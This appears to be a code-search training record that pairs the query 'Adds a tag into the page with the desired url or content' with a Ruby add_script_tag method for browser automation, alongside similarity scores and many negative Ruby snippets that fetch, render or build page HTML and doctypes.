[ "def getFrameHTML( frameName = \"\" )\n container = getObjectFrameReference( \"\" , frameName )\n return container.body.innerHTML\n end", "def doctype\n %|<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Frameset//EN\" \"http://www.w3.org/TR/html4/frameset.dtd\">|\n end", "def doctype\n %|<!DOCTYPE HTML>|\n end", "def body\n begin\n\n src = \"\"\n src = @driver.body\n\n rescue Exception => e\n @@logger.an_event.error \"browser get html page : #{e.message}\"\n raise Errors::Error.new(BROWSER_NOT_FOUND_BODY, :values => {:browser => name}, :error => e)\n\n else\n @@logger.an_event.debug \"browser get html page\"\n\n end\n\n begin\n\n body = Nokogiri::HTML(src)\n\n rescue Exception => e\n @@logger.an_event.error \"browser parse html page : #{e.message}\"\n raise Errors::Error.new(BROWSER_NOT_FOUND_BODY, :values => {:browser => name}, :error => e)\n\n else\n\n @@logger.an_event.debug \"browser parse html page\"\n body\n\n end\n end", "def to_html\n @doc.at(\"body\").children.to_html(encoding: ENCODING).lstrip\n end", "def html()\r\n $jssh_socket.send(\"var htmlelem = #{DOCUMENT_VAR}.getElementsByTagName('html')[0]; htmlelem.innerHTML;\\n\", 0)\r\n #$jssh_socket.send(\"#{BODY_VAR}.innerHTML;\\n\", 0)\r\n result = read_socket()\r\n return \"<html>\" + result + \"</html>\"\r\n end", "def doctype\n\t%Q[<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">]\nend", "def doctype\n %|<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 3.2 Final//EN\">|\n end", "def source\n current_frame.getWebResponse.getContentAsString\n end", "def html_contents\n layout_contents\n end", "def body\n evaluate(\"document.documentElement.outerHTML\")\n end", "def html_body\n @html_body ||= reader_doc.content.strip\n end", "def html\r\n # use body.html instead?\r\n @driver.at_css('html').to_html\r\n end", "def html\n @html ||= Nokogiri::HTML html_source, nil, HTML_ENCODING if html_source\n @html\n end", "def html\n @browser.html()\n end", "def html_body\n self[:html_body]\n end", "def doctype_\n start_ht5\n ht5 << \"<!DOCTYPE html>\"\n end", "def content\n content = '<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" ' +\n '\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">' +\n '<html xmlns=\"http://www.w3.org/1999/xhtml\"><head><title>' + title + '</title>' +\n ' <link href=\"http://www.uio.no/profil/kupu/kupucontentstyles.css\" type=\"text/css\" rel=\"stylesheet\"/>' +\n '</head><body>'\n if(body)\n content += body\n end\n content += '</body></html>'\n end", "def html\n @driver.page_source\n end", "def html\n driver.getPageSource\n end", "def html\n @doc.to_s\n end", "def html\n @doc.to_s\n end", "def doctype\n %|<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">|\n end", "def html_source\n @page_source.page_source\n end", "def html\n @session.body\n end", "def html\n self[\"html\"][0].get_outer_html\n end", "def browser_contents\n browser.contents\n end", "def web_html\n return @web_html\n end", "def body_as_html\n return '' if !body\n return body if content_type && content_type =~ %r{text/html}i\n\n body.text2html\n end", "def html\n @html ||= process_html!\n end", "def html( attrs = {}, &block )\n @buffer << \"<!DOCTYPE html>\"\n @buffer << \"\\n\" if @pretty_print\n make( :html, attrs, &block )\n flush\n end", "def html\n\t find { |b| b.content_type == 'text/html' }\n\tend", "def html\n if FUNCTION != 'none'\n if self.md.value != nil\n hm = self.md.value\n else\n hm = INDEX\n end\n @me = YAML.load(self.yaml.value)\n [\n ERB.new(HEAD).result(binding),\n Kramdown::Document.new(ERB.new(hm).result(binding)).to_html,\n \"</body></html>\"\n ].flatten.join('')\n end\n end", "def html\n return @html if defined? @html\n\n @html = Henkei.read :html, data\n end", "def modified_source\n current_frame.asXml\n end", "def content\n @rdig_document.body\n end", "def show\n\tcnv = ODT_to_XHTML.new\n\txmldata = cnv.get_html(@document.content, @document.styles)\n\t@head = xmldata[:head].get_text(\"style\")\n\t@body = xmldata[:body].to_s.sub(/<body>/,\"<div class=\\\"document\\\">\").sub(/<\\/body>/,\"</div>\")\n end", "def to_html\n @page.to_html\n end", "def iframe\r\n return '' if @page.if_url.blank?\r\n\r\n html = \"\\n<iframe\"\r\n html << \" id=\\\"#{@page.if_id}\\\"\" if @page.if_id.present?\r\n html << \" class=\\\"#{@page.if_class}\\\"\" if @page.if_class.present?\r\n html << \" border=\\\"#{@page.if_border}\\\"\" \r\n html << \" height=\\\"#{@page.if_height}\\\"\" if @page.if_height.present?\r\n html << \" width=\\\"#{@page.if_width}\\\"\" if @page.if_width.blank?\r\n html << \" scrolling=\\\"#{@page.if_scroll}\\\"\"\r\n # Parameters\r\n parameters = @page.if_url.match(/\\?/) ? '' : '?' \r\n params = YAML.load(@page.if_params) rescue {}\r\n params = {} unless params.class == Hash\r\n params.each do |key, value|\r\n val = @parent.dc_internal_var(value['object'], value['method'])\r\n parameters << \"&#{key}=#{val}\" if val # only when not nil\r\n end\r\n url = @page.if_url + (parameters.blank? ? '' : parameters)\r\n html << \"src=\\\"#{url}\\\" ></iframe>\\n\"\r\n html\r\nend", "def frm\n self.frame(:src=>/TBD/)\n end", "def frm\n self.frame(:src=>/TBD/)\n end", "def frm\n self.frame(:src=>/TBD/)\n end", "def frm\n self.frame(:src=>/TBD/)\n end", "def body\n @parsed_page.body\n end", "def contents\n rendered_contents\n end", "def html\n process_message_body if !@html\n @html\n end", "def to_html\n self.load_page!\n self.parsed_page.to_xhtml indent: 3, indent_text: \" \"\n end", "def page_source\n @web_browser.page_source\n end", "def body\n @body ||= Page.convert_raw_to_html(raw_body)\n end", "def grab_html\n\t\t@raw_html = HTTParty.get(@url)\n\t\t@soft_html = Nokogiri::HTML(@raw_html.body)\n\tend", "def body\n doc = Nokogiri.parse(\"<html><body>#{description}</body></html>\")\n return doc.text\n end", "def content\n require theme_path\n this = self # needed because Markaby is based on `instance_eval`\n @builder = Trinity::Builder.new(:indent => 2)\n @builder.instruct!\n @builder.declare! :DOCTYPE, :html, :PUBLIC, \"-//W3C//DTD XHTML+RDFa 1.0//EN\", \"http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd\"\n @builder.html(:xmlns => 'http://www.w3.org/1999/xhtml') do\n head { this.render_html_head }\n body { this.render_html_body }\n end\n @builder.to_s\n end", "def html_content\n # Individual presenters may override to present content\n @object.content&.html_safe if @object.respond_to? :content\n end", "def body(dst_encoding = 'utf-8', src_encoding = nil)\r\n return @cache[:body] unless @cache[:body].nil?\r\n\r\n if page\r\n if src_encoding\r\n # Converts the page's body to UTF-8.\r\n return (@cache[:body] = page.body.encode(dst_encoding, src_encoding))\r\n end\r\n\r\n return (@cache[:body] = page.body)\r\n end\r\n\r\n '' # Default return.\r\n end", "def doctype\n %|<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/strict.dtd\">|\n end", "def html\n session.html\n end", "def page_source\r\n @web_browser.page_source\r\n end", "def html\n `$q(this.__native__.innerHTML)`\n end", "def content_frame\n node_info = client.command(\n Protocol::DOM.describe_node(object_id: remote_object[\"objectId\"])\n ).value\n return unless node_info.dig(\"node\", \"frameId\").is_a? String\n\n frame_manager.frame node_info.dig(\"node\", \"frameId\")\n end", "def html\n @session.html\n end", "def extract_content(doc)\n content = ''\n ce = content_element(doc)\n ce = ce.inner_html if ce.respond_to? :inner_html\n content = strip_tags(strip_comments(ce)) if ce\n # (ce/'h1, h2, h3, h4, h5, h6, p, li, dt, dd, td, address, option, ').each do |child|\n # extract_text child, content\n return content.strip\n end", "def doctype\n return @doctype if instance_variable_defined?(:@doctype)\n return nil unless self =~ /\\A\\s*(?:<\\?.*?\\?>\\s*)?<!DOCTYPE\\s+(.+?)>/\n\n @doctype = Regexp.last_match[1]\n end", "def contents()\n html = Nokogiri::HTML(@markdown_document.to_html())\n\n # Fixup refs to other markdown documents\n html.css(\"a\").each do |anchor|\n anchor[\"href\"] = anchor[\"href\"].sub(%r{\\.md$}, \".html\")\n end\n\n # Since we transform device-specific $device/README.md pages into\n # discrete $device.html, we need to fixup cross-linking into its namespace\n # This could be generalized some more, to be fixed once we have other internal links to mismatched README.md/index.html locations.\n if File.dirname(relative_output) == \"devices\"\n html.css(\"a\").each do |anchor|\n if anchor[\"href\"].match(%r{\\.\\./[^\\.]+$})\n anchor[\"href\"] = anchor[\"href\"].sub(%r{\\.\\./}, \"devices/\") + \".html\"\n end\n end\n end\n\n # Since Nokogiri produces a complete document from our fragment, we\n # have to pick only what's in the body; so strip the body added tags and higher-up tags.\n html\n .at_css(\"body\").to_s()\n .sub(%r{^<body>}, \"\").sub(%r{</body>$}, \"\")\n end", "def getFrameText( frameName = \"\" )\n container = getObjectFrameReference( \"\" , frameName )\n return container.body.innerText\n end", "def html\r\n @rootNode.html_node()\r\n end", "def html\n node.inner_html\n end", "def get_html\n print \"Getting doc...\"\n if File.size?(@cache)\n html = File.read(@cache)\n else\n html = open(URL).read\n IO.write(@cache, html)\n end\n puts \"done.\"\n html\n end", "def inner_html\n self.inner_xml\n end", "def doctype; end", "def frames\n @frames ||=\n search('frame').map { |node| Frame.new(node, @mech, self) }\n end", "def frames\n @frames ||=\n search('frame').map { |node| Frame.new(node, @mech, self) }\n end", "def standard_html( state, encoding = nil, &body_filller )\n html(:language => state.fetch(\"request.language\"), :direction => state.fetch(\"html.direction\", \"ltr\") do\n head do\n meta :charset => @parameters.fetch(:encoding, Encoding.default_internal)\n state.fetch(\"html.headscripts\").each do |script|\n fail_todo \"what now?\"\n end\n state.fetch(\"html.css\").each do |css|\n fail_todo \"what now?\"\n end\n end\n body do\n capture(&body_filler)\n \n state.fetch(\"html.tailscripts\").each do |script|\n fail_todo \"what now?\"\n end\n end\n end\n end\n\n\n #\n # Starts an HTML stream.\n \n def html( attrs = {}, &block )\n @buffer << \"<!DOCTYPE html>\"\n @buffer << \"\\n\" if @pretty_print\n make( :html, attrs, &block )\n flush\n end\n\n\n #\n # Outputs raw text to the stream.\n \n def raw( text )\n @buffer << text\n end", "def html\n diff[:html]\n end", "def getHTML\n puts \"fetching the blog at #{ @blogURL }...\"\n @doc = Nokogiri::HTML(open(@blogURL))\n end", "def content\n return @content if @content\n content, id = self.get_page_content\n content = master.render(content)\n Ruhoh::Converter.convert(content, id)\n end", "def html()\n return @driver.get_sc_core_query_element_html(@handle, @index)\n end", "def doc\n return @doc if @doc\n @doc = Nokogiri::HTML(@body) if @body && html? rescue nil\n end", "def body_as_html(dir)\n html = nil\n\n Dir.chdir(dir) do\n tempfile = Tempfile.new('foiextract', '.')\n tempfile.print self.body\n tempfile.flush\n\n if self.content_type == 'application/vnd.ms-word'\n # XXX do something with PNG files this spits out so they view too :)\n system(\"/usr/bin/wvHtml --charset=UTF-8 \" + tempfile.path + \" \" + tempfile.path + \".html\")\n html = File.read(tempfile.path + \".html\")\n File.unlink(tempfile.path + \".html\")\n elsif self.content_type == 'application/pdf'\n IO.popen(\"/usr/bin/pdftohtml -nodrm -zoom 1.0 -stdout -enc UTF-8 -noframes \" + tempfile.path + \"\", \"r\") do |child|\n html = child.read()\n end\n else\n raise \"No HTML conversion available for type \" + self.content_type\n end\n\n tempfile.close\n tempfile.delete\n end\n\n # We need to look at:\n # a) Any error code\n # b) The output size, as pdftohtml does not return an error code upon error.\n # c) For cases when there is no text in the body of the HTML, or\n # images, so nothing will be rendered. This is to detect some bug in\n # pdftohtml, which sometimes makes it return just <hr>s and no other\n # content.\n html.match(/(\\<body[^>]*\\>.*)/mi)\n body = $1.to_s\n body_without_tags = body.gsub(/\\s+/,\"\").gsub(/\\<[^\\>]*\\>/, \"\")\n contains_images = html.match(/<img/mi) ? true : false\n if !$?.success? || html.size == 0 || (body_without_tags.size == 0 && !contains_images)\n return \"<html><head></head><body><p>Sorry, the conversion to HTML failed. Please use the download link at the top right.</p></body></html>\"\n end\n\n return html\n end", "def xhtml_frameset(attrs = {}, &block)\n self.tagset = Markaby::XHTMLFrameset\n xhtml_html(attrs, &block)\n end", "def xhtml_frameset(attrs = {}, &block)\n self.tagset = Markaby::XHTMLFrameset\n xhtml_html(attrs, &block)\n end", "def doc\n unless @doc\n @doc = Nokogiri::HTML(html)\n end\n @doc\n end", "def showFrames()\n=begin\n \n ff = @ie.document.frames\n\n log \"there are \" + ff.length.to_s + \" frames\" if $debuglevel >=0\n\n for f in 0 .. ff.length-1\n log \"Frame: \" + ff[f.to_s].name.to_s if $debuglevel >=0 \n log \"My parent is: \" + ff[f.to_s].parentWindow.name.to_s if $debuglevel >=0\n end \n\n #frame = @ie.document.frames[ frameName ].document\n \n=end\n end", "def grab_html\n\t\t@unbendable_html = HTTParty.get('http://finance.yahoo.com/q?s=TSLA')\n\tend", "def get_frame_tree\n {\n method: \"Page.getFrameTree\"\n }\n end", "def make_html\n @document.encoding = 'UTF-8'\n @best_candidate = nil\n end", "def content\n return @content\n end", "def content\n return @content\n end", "def content\n return @content\n end", "def content\n return @content\n end", "def content\n return @content\n end", "def content\n return @content\n end", "def page_source\r\n @browser.page_source\r\n end", "def content\n @content ||= case\n when @file\n @file.read\n when @text\n @text\n when @url\n raise URI::InvalidURIError, @url unless @url =~ URI::regexp\n response = open(@url)\n html = response.read\n html.encode(\"UTF-16\", \"UTF-8\", :invalid => :replace, :replace => \"\").encode(\"UTF-8\", \"UTF-16\")\n end\n end", "def strip_doctype_html(input)\n input.to_s.gsub(Regexp.new(DOCTYPE_HTML), NOTHING)\n end", "def html_page\n <<-END.gsub(/^\\s+/, '')\n <html><head>\n <title>Why Fixturing Is Annoying</title>\n <script src='/app-ui.js'></script>\n </head>\n <body class=\"webapp\">\n <div class=\"app-content-holder\"></div>\n </body></html>\n END\n end", "def to_html\n render_file(main)\n end", "def prepare_parsed_frame frame\n force_body_encoding frame\n end", "def frm\n self.frame(:src=>/sakai2samigo.launch.html/)\n end", "def frm\n self.frame(:src=>/sakai2samigo.launch.html/)\n end", "def cut_htmlpage(title, form_name, form_action, script='', append_body='')\n html = %Q{\n <html>\n <head>\n <title>#{title}</title>\n <style type=\"text/css\">\n #{cut_htmlstylesheet}\n </style>\n <script language=\"JavaScript\">\n #{script}\n </script>\n </head>\n <body onload=\"javascript: loadScript();\">\n <form name=\"#{form_name}\" action=\"#{form_action}\" method=\"post\">\n #{cut_html}\n </form>\n #{append_body}\n </body>\n </html>\n }\n #return html\n return PrettyXML.pretty(html, 2)\n end" ]
[ "0.6864478", "0.6356913", "0.6062692", "0.6023928", "0.5981928", "0.5953172", "0.59475815", "0.5923575", "0.58931446", "0.58770525", "0.58632016", "0.5811959", "0.5801141", "0.5787463", "0.5772578", "0.5761035", "0.5754725", "0.5687827", "0.56830925", "0.5677174", "0.5675877", "0.5675877", "0.5663938", "0.5655029", "0.56369334", "0.563222", "0.55249655", "0.5487894", "0.54866815", "0.5472721", "0.54541135", "0.54413617", "0.5430514", "0.5426901", "0.5405323", "0.5397901", "0.5383024", "0.5365911", "0.53448206", "0.5341969", "0.5341969", "0.5341969", "0.5341969", "0.5341091", "0.5305352", "0.5290579", "0.5289144", "0.5286451", "0.52745736", "0.52737033", "0.5266845", "0.52664876", "0.52624136", "0.5245516", "0.52397805", "0.52378345", "0.5216295", "0.5204792", "0.51818514", "0.5179573", "0.5154836", "0.51491034", "0.514878", "0.5134169", "0.51236635", "0.5105432", "0.5099348", "0.50875765", "0.50862837", "0.5081378", "0.5081378", "0.50698644", "0.5065347", "0.505748", "0.505685", "0.50560707", "0.50422704", "0.5033832", "0.5027903", "0.5027903", "0.5025545", "0.50252354", "0.5022545", "0.5021278", "0.5004718", "0.49966076", "0.49966076", "0.49966076", "0.49966076", "0.49966076", "0.49966076", "0.4995729", "0.49888843", "0.49822184", "0.49778995", "0.49777117", "0.4973324", "0.4967699", "0.4967699", "0.49636322" ]
0.56940645
17
Adds a tag into the page with the desired url or content.
def add_script_tag(url: nil, path: nil, content: nil, type: '') # param url [String] # param type [String] # # return [Promise<HTMLElement>] # add_script_url = <<~JAVASCRIPT async function addScriptUrl(url, type) { const script = document.createElement('script'); script.src = url; if (type) script.type = type; const promise = new Promise((res, rej) => { script.onload = res; script.onerror = rej; }); document.head.appendChild(script); await promise; return script; } JAVASCRIPT unless url.nil? begin return execution_context.evaluate_handle_function(add_script_url, url, type).value.as_element rescue => _error raise "Loading script from #{url} failed" end end # @param content [String] # @param type [string] # # @return [HTMLElement] # add_script_content = <<~JAVASCRIPT function addScriptContent(content, type = 'text/javascript') { const script = document.createElement('script'); script.type = type; script.text = content; let error = null; script.onerror = e => error = e; document.head.appendChild(script); if (error) throw error; return script; } JAVASCRIPT unless path.nil? contents = File.read path contents += '//# sourceURL=' + path.delete("\n") return execution_context.evaluate_handle_function(add_script_content, contents, type).value.as_element end unless content.nil? return execution_context.evaluate_handle_function(add_script_content, content, type).value.as_element end raise 'Provide an object with a `url`, `path` or `content` property' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def content_tag(type, content, options = {}); end", "def add_tag\n url = Url.find_by(id: params[:id])\n tag = Tag.find_by(name: params[:tag])\n if tag\n ## TODO: handle tag with url in backend\n # if not url.tags.where(:tag_id => tag.id).any?\n # url.tags << tag\n # end\n url.tags << tag\n else\n tag = Tag.new(name: params[:tag])\n url.tags << tag\n end\n render json: {code: 200, tags: url.tags}\n end", "def write_tag(content, tag)\n write_html(\"<#{tag}>\\n\")\n write_text(content)\n write_html(\"</#{tag}>\\n\")\n end", "def add_tag(t)\n self.push(t)\n return self\n end", "def add_tag (tag)\n `rs_tag --add \"#{tag}\"`\n end", "def tag(new_tag); end", "def add_tag(tag)\n if not tag.kind_of?(String)\n raise \"tag '#{tag.inspect}' is not a String\"\n end\n\n if not @tags.include?(tag)\n @tags.push(tag)\n end\n \n end", "def <<(tag)\n add(tag)\n end", "def add_tag(tag)\n @api.post(\"#{@api.path}/List/#{@id}/Tag\", body: tag)\n end", "def add_html(tag, name)\n @am.add_html(tag, name)\n end", "def tag(tag_name, content, attributes = {})\n t = self.t_s(tag_name)\n unless attributes.empty?\n t = self.t_s(tag_name, self.attr_string(attributes))\n end\n\n t << content << self.t_e(tag_name)\n end", "def see_tag(text); end", "def add_tag(tag)\n if @current_node == nil\n add_root(tag)\n else\n add_child(tag)\n end\n end", "def add_tag_link(tag)\n cur_tag = params[:tag]\n if cur_tag and !cur_tag.split.select { |x| x =~ /^#{tag}$/ }.empty?\n link = cur_tag.split\n if link.size == 1\n link_to('-', { :controller => 'tumble', :action => 'list' }, :class => 'remove-tag')\n else\n link = link.reject { |x| x =~ /^#{tag}$/ } * '+'\n link_to('-', {:controller => 'tumble', :action => 'tag', :tag => link}, \n { :class => 'remove-tag' }).gsub(/%2B/,'+')\n end\n elsif cur_tag\n link = \"#{cur_tag.gsub(' ','+')}+#{tag}\"\n # the gsub below is an annoying hack to fight against the uri encoding.\n # need to find a way to turn it off..\n link_to('+', {:controller => 'tumble', :action => 'tag', :tag => link}, \n { :class => 'add-tag', :rel => 'nofollow' }).gsub(/%2B/,'+') \n else\n \"\"\n end\n end", "def process(content = nil) # :nodoc:\n if content\n content_tag(@tag_name, content, @options)\n else\n tag(@tag_name, @options)\n end\n end", "def content_tag(name, content = nil, options = {})\n tag(name, options.merge(:content => content))\n end", "def add_tag(tag)\n\n (h.fields['__tags__'] ||= []) << tag\n end", "def add_tag_link(tag)\r\n cur_tag = params[:tag]\r\n if cur_tag and !cur_tag.split.select { |x| x =~ /^#{tag}$/ }.empty?\r\n link = cur_tag.split\r\n if link.size == 1\r\n link_to('-', '/', :class => 'remove-tag')\r\n else\r\n link = link.reject { |x| x =~ /^#{tag}$/ } * '+'\r\n link_to('-', {:controller => 'post', :action => 'tag', :tag => link},\r\n { :class => 'remove-tag' })\r\n end\r\n elsif cur_tag\r\n link = \"#{cur_tag.gsub(' ','+')}+#{tag}\"\r\n # the gsub below is an annoying hack to fight against the uri encoding.\r\n # need to find a way to turn it off..\r\n link_to('+', {:controller => 'post', :action => 'tag', :tag => link},\r\n { :class => 'add-tag', :rel => 'nofollow' }).gsub(/%2B/,'+')\r\n else\r\n \"\"\r\n end\r\n end", "def add(content)\n raise NotImplementedError\n end", "def add_content(content)\n @content = @content + content\n end", "def add_tags\n raise NotImplementedError\n end", "def insert(name, tag, value)\n set_text_content(name, tag, @klass, value)\n end", "def add\n if page.url && !Ink.config['docs_mode']\n Ink.site.pages << page unless Helpers::Path.find_page(page)\n end\n end", "def register_html_tag(tag_name, type = T.unsafe(nil), **options); end", "def add( item)\n\t\titem.addtag self.gettag\n\tend", "def add_child(node_or_tags); end", "def add_child(node_or_tags); end", "def tag_add(id, tag)\n wf_event_id?(id)\n wf_string?(tag)\n api.put([id, 'tag', tag].uri_concat)\n end", "def example_tag(text); end", "def add_tags(tag)\n remove_previous_tags\n if @page.find(input_elements[:tag_input_field]).present?\n @page.find(input_elements[:tag_input_field]).set(tag)\n else\n @page.find(input_elements[:tag_input_field2]).set(tag)\n end\n @page.find(input_elements[:tag_selected]).click\n @used_tag = tag\n end", "def add(tag)\n return nil if tag.nil?\n get_list(tag) << tag\n end", "def i_content_tag(tag, content)\n tag ? content_tag(tag, content) : content\n end", "def add(url, desc, ext = '', tags = '', time = Time.now, \n replace = false, is_private = false)\n raise Error, \"Missing URL\" unless url\n raise Error, \"Missing Description\" unless desc\n args = [\n (\"url=#{u(url)}\"), (\"description=#{u(desc)}\"),\n (\"dt=#{time.gmtime.iso8601}\"),\n (ext ? \"extended=#{u(ext)}\" : nil),\n (tags ? \"tags=#{u(tags)}\" : nil), \n (replace ? 'replace=yes' : nil),\n (is_private ? 'shared=no' : nil),\n ]\n get('posts/add?' << args.compact.join('&amp;'))\n nil\n end", "def add_tag\n\n wait = Selenium::WebDriver::Wait.new(:timeout => 30) # seconds\n wait.until { @driver.find_element(:id, \"tag-chooser\") }\n\n # Input \"Tiger Woods\" into search module\n @driver.find_element(:id, \"tag-chooser\").send_keys(\"tiger woods\")\n\n # Wait for Tiger Woods to appear in drop - down, then select it\n wait = Selenium::WebDriver::Wait.new(:timeout => 30) # seconds\n wait.until { @driver.find_element(:class, \"tag-chooser-checkbox\") }\n @driver.find_element(:link_text, \"Tiger Woods\").click\n\n # Select article type to be \"Breaking News\"\n @driver.find_element(:id, 'breaking_news_tag').click\n\n wait = Selenium::WebDriver::Wait.new(:timeout => 30) # seconds\n wait.until { @driver.find_element(:link_text, \"Golf\") }\n\n # Select league to be 'Golf'\n @driver.find_element(:link_text, 'Golf').click\n end", "def <<(node_or_tags); end", "def <<(node_or_tags); end", "def add_tag(tag)\n t = Tagging.new()\n t.translation = self\n t.tag = tag\n begin\n self.taggings << t\n rescue # Already tagged\n false\n end\n end", "def insert_tag_node (tag_path, tag_node_or_name, to_insert_before = false, tag_value = nil)\n\n $test_logger.log(\"Add tag node #{tag_path}\")\n\n raise \"XML doc not loaded\" if @xml_ilv_node == nil\n\n if tag_node_or_name.is_a?(REXML::Element)\n node_to_add = tag_node_or_name\n else\n node_to_add = Element.new(tag_node_or_name)\n node_to_add.text = tag_value.to_s\n end\n\n if to_insert_before\n @xml_ilv_node.insert_before(tag_path, node_to_add)\n else\n @xml_ilv_node.insert_after(tag_path, node_to_add)\n end\n\n #Notify changes to load other formats like RAW and HEX\n notify_change(InputChannel::XML)\n\n end", "def << param\n if param.class == Array\n # append a linked textual fragment\n param[1] = java.net.URI.new(param[1])\n self.append_hyperlink *param\n else\n # append a textual fragment\n self.append_text_content param\n end\n self\n end", "def add_tag\n @asset = Asset.find(params[:id])\n new_tag = params[:tag]\n \n if @asset.tag_list.include?(new_tag)\n render :nothing => true\n return\n end\n \n @asset.tag_list << new_tag\n \n tag_html = render_to_string :partial => \"shared/tag.html.haml\", :locals => { :asset => @asset, :tag_name => new_tag }\n \n respond_to do |format|\n if @asset.save\n format.html { redirect_to(@asset, :notice => 'Tag was successfully added to asset.') }\n format.json { render :json => { :asset => @asset, :tag_html => tag_html } }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @asset.errors, :status => :unprocessable_entity }\n end\n end\n end", "def addExtraURITag(key,value) \n\t\tself._querytext.push([key,value])\t\n\tend", "def link(tag)\n apply_uri_template @tag_link_template, tag: safe_parameterize(tag)\n end", "def tag(name,content,options={})\n with_opts = \"<#{name.to_s} #{options.to_html_attrs}>#{content}</#{name}>\"\n no_opts = \"<#{name.to_s}>#{content}</#{name}>\"\n options.blank? ? no_opts : with_opts\n end", "def add_tag(name, &block)\n @custom_tags[name.to_sym] = block\n end", "def add_tag_node (tag_path, tag_node_or_name, tag_value = nil, data_type = nil)\n\n $test_logger.log(\"Add tag node #{tag_path}\")\n\n #Get target node\n target_node = get_tag_node(tag_path)\n\n if tag_node_or_name.is_a?(REXML::Element)\n raise \"Tag node and tag value cannot be specified at the same time!\" if tag_value != nil\n node_to_add = tag_node_or_name\n else\n node_to_add = Element.new(tag_node_or_name)\n node_to_add.text = tag_value if tag_value != nil\n end\n\n #Add data type to node if required\n if data_type != nil\n node_to_add.add_attribute(TYPE_ATTR, data_type)\n end\n\n #Add child node to target path\n target_node << node_to_add\n\n #Notify changes to load other formats like RAW and HEX\n notify_change(InputChannel::XML)\n end", "def add(tag, value)\n @fields[tag.to_sym] = value\n end", "def add_tag(tag)\r\n self.tags.new(:name => tag.name)\r\n end", "def process_page_link_tag(tag)\n parts = tag.split(' ')\n\n url, *descp = parts\n title = descp.join(\" \")\n\n alternatives = Repos.alternatives(*url.split(\"/\"))\n\n base_link, add_links = [], []\n\n extern_url = url =~ /^https?:/\n\n url = \"/#{url}\" if not url[0..0] == \"/\" and not extern_url\n title = url if title.empty?\n\n if extern_url\n return %Q{<a href=\"#{url}\">#{title}</a>}\n elsif tag =~ /^mailto:/\n return %Q{<a href=\"#{tag}\">#{tag.split(\":\")[1..-1]}</a>}\n end\n\n if not alternatives.empty?\n alternatives.each_pair do |ext, file|\n if ext == defext # find page with default extension\n\n base_url =\n if alternatives.size > 1\n # add extension for base_url unless given\n url !~ /\\.#{ext}$/ ? \"#{url}.#{ext}\" : url\n else url end\n\n base_link << [base_url, file]\n else\n add_links << [\"#{url}.#{ext}\", file]\n end\n end\n else\n # not existing page\n base_link << [url, nil]\n end\n\n # sort links by extension\n add_links = add_links.sort_by{|link, file| File.extname(file) }\n\n if base_link.empty?\n base_link << add_links.shift\n end\n\n title = title[1..-1] if title[0..0] == \"/\"\n base_link.map!{|url, _| mk_link(url, (alternatives.empty? ? \"o\" : \"x\"), title) }\n add_links.map!{|url, _| mk_link(url, 'alt', nil) }\n\n ret = base_link.join\n unless add_links.empty?\n ret << \" <span class='alts'><sup>(%s)</sup></span>\" % add_links.join(\", \")\n end\n ret\n end", "def api_tag(text); end", "def wrap_in(tag, *options, &block)\n options = options.extract_options!\n _.content_tag(tag, block.call, options)\n end", "def mytag(opts)\n Rails.logger.info \"Own method mytag is active\"\n \"<b>#{opts[:text]}</b>\"\n end", "def create_and_add(tag, attributes, value)\n self.class.create_tag(tag, attributes, value).tap do | tag |\n tag.playlist = @playlist if tag.kind_of? MediaSegment\n add(tag)\n end\n\n end", "def on_html_tag(name, attrs, content = nil)\n return super if name != '*'\n hash, merger, formatter = splat_attributes(attrs[2..-1])\n tmp = unique_name\n tag = [:multi,\n merger,\n [:code, \"#{tmp} = #{hash}.delete('tag').to_s\"],\n [:if, \"#{tmp}.empty?\",\n [:code, \"#{tmp} = #{@options[:default_tag].inspect}\"]],\n [:static, '<'],\n [:dynamic, \"#{tmp}\"],\n formatter]\n tag << if content\n [:multi,\n [:static, '>'],\n compile(content),\n [:static, '</'],\n [:dynamic, \"#{tmp}\"],\n [:static, '>']]\n else\n [:static, '/>']\n end\n end", "def new_tag(tag)\n puts cyan(\"Found new tag: #{tag}\")\n end", "def add_tag(new_tag)\n db = connect_to_database()\n db.execute(\"INSERT INTO tags (Tag) VALUES (?)\", new_tag.downcase)\n end", "def add(url, desc, ext = '', tags = '', time = Time.now)\n raise \"Missing URL\" unless url\n raise \"Missing Description\" unless desc\n args = [\n (\"url=#{url.uri_escape}\"), (\"description=#{desc.uri_escape}\"),\n (ext ? \"extended=#{ext.uri_escape}\" : nil),\n (tags ? \"tags=#{tags.uri_escape}\" : nil), (\"dt=#{time.to_iso8601}\")\n ]\n get('/api/posts/add?' << args.compact.join('&amp;'))\n nil\n end", "def link(content,href,options={})\n options.update :href => href\n tag :a, content, options\n end", "def link(_content, _url)\n raise NotImplementedError\n end", "def add_link(el, href, title, alt_text = T.unsafe(nil), ial = T.unsafe(nil)); end", "def feed_tag(mime, url, options={})\n full_mime = (mime == :atom) ? 'application/atom+xml' : 'application/rss+xml'\n tag(:link, { :rel => 'alternate', :type => full_mime, :title => mime, :href => url }.update(options))\n end", "def tag(tag, *a)\n if Hash === a.last\n opts = a.pop\n else\n opts = {}\n end\n\n attrs = opts.map do |k,v|\n \"#{k}=\\\"#{h v}\\\"\"\n end.join ' '\n\n content = if block_given?\n a << yield\n else\n a\n end.flatten.join(\"\\n\")\n\n s = \"<#{tag} #{attrs}>#{content}</#{tag}>\"\n end", "def tag_page_resource(tag, articles)\n Sitemap::ProxyResource.new(@sitemap, link(tag), @tag_template).tap do |p|\n # Detect \"formatted\" tag in first article - trying to guess the correct format to show\n # tagname = articles.first.tags.detect { |article_tag| safe_parameterize(article_tag) == tag }\n\n # Add metadata in local variables so it's accessible to later extensions\n p.add_metadata locals: {\n 'page_type' => 'tag',\n 'tagname' => tag,\n 'articles' => articles,\n 'blog_controller' => @blog_controller\n }\n end\n end", "def tag_link(tag)\n dir = @context.registers[:site].config['tag_dir'] || 'tag'\n \"<a class='tag' 